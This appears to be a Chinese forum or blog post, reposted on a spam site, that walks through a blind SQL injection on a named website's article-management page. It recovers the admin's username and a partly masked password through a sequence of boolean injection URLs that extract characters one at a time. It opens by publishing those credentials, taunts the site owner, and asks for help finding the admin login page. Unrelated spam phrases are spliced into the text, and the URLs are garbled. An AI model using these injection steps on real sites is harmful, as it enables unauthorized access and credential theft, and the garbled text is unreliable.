您的位置::成功娱乐网 >> 黄大城

看一看:浪客联盟的文章管理的密码

时间:2021年11月29日

浪客联盟的文章管理的密码:

用户名:蛊惑男孩密码:win!#%****

呵呵,欲望这个你熟吧。

本来是无意的,得到了你的用户名和密码,竟无法进入的你文章管理,不知道你把管理入口搬到哪里去了。

我就说说我是如何得到这个密码和用户名,

他的文章管理是动网的,因为listasp对id没有过滤,所以可以进行注入攻击,本来LCX有个脚本的,可是我怎么也不会使只好自己手动了,

首先提交如下

http://longker7x24cn/article/listasp?id253and11

http://longker7x24cn/article/listasp?id253and12

发现如果为真则返回文章,否则返回找不到改文章,

好了,来判断管理员id

http://longker7x24cn/article/listasp?id253and1(selectidfromadminwhereflag1)

F返回文章》》》管理员ID为1

http://longker7x24cn/article/listasp?id253and1(selectmax(id)fromadminwhereflag1)

返回文章》》》》只有一个管理员

http://longker7x24cn/article/listasp?id253and1(selectidfromadminwherelen(password)>2)

返回文章》》》密码长度大于2

http://longker7x24cn/article/listasp?id253and1(selectidfromadminwherelen(password)>11)

没返回文章》》》密码长度小于11

http://longker7x24cn/article/listasp?id253and1(selectidfromadminwherelen(password)10)

返回了》》》密码长度为10呵呵,有门了

http://longker7x24cn/article/listasp?id253and1(selectidfromadminwhereasc(mid(password,1,1))>100)

这里解释一下,MID函数可以把密码分成若干部分取出,使用方法MID(字符串,起始位,取出的字符串的长度,我的这句是说把pASSWORD中的第一位字符取出,ASC可以把字母转换成ASC码

然后我就判断他的ASC码的范围

返回了,好的,继续

http://longker7x24cn/article/listasp?id253and1(selectidfromadminwhereasc(mid(password,1,1))>120)

这次没返回,看来介于100和120

然后慢慢试,最后提交这个语句

http://longker7x24cn/article/listasp?id253and1(selectidfromadminwhereasc(mid(password,1,1))119)

返回了,好的,就是119,查一下,是w

好的开始猜第二位

http://longker7x24cn/article/listasp?id253and1(selectidfromadminwhereasc(mid(password,2,1))>100)

。。。。。。

没什么新意了,最后得到了密码

然后我就想他的用户名,下面有点意思

http://longker7x24cn/article/listasp?id253and1(selectidfromadminwhereasc(mid(username,1,1))>100)

没有返回文章,慢慢我发现提交了很多也没返回,原来他的用户名是中文!

晕,怎么办???似乎不能用ASC来转换中文,

在研究了一点VB后,发现事情有了转机,大家都知道ASC都是正的,

但是汉字也可以ASC转换的,他是负!房子被强拆的话怎么索赔!而且一般都很大,很多嘛。

哈哈,好的历史遗留违章建筑厂房怎么办

提交如下:

http://longker7x24cn/article/listasp?id253and1(selectidfromadminwhereasc(mid(username,1,1))>-18000)

哈哈,终于返回了文章!!

然后慢慢试得到了如下的四个码

-17978蛊

-17421惑

-15152男

-17758孩

呵呵,只要用CHR一转变就出汉字了。我自己顺手遍了个程序,在论坛的汉字猜测文章里。

输入码,出汉字。

好了,这里就得到了,但是我发现他把管理入口不知道弄到哪里去了,晕,一直猜了好久也没

猜到,动用GOOGLE也没查到,有没有高手给个方法??

友情链接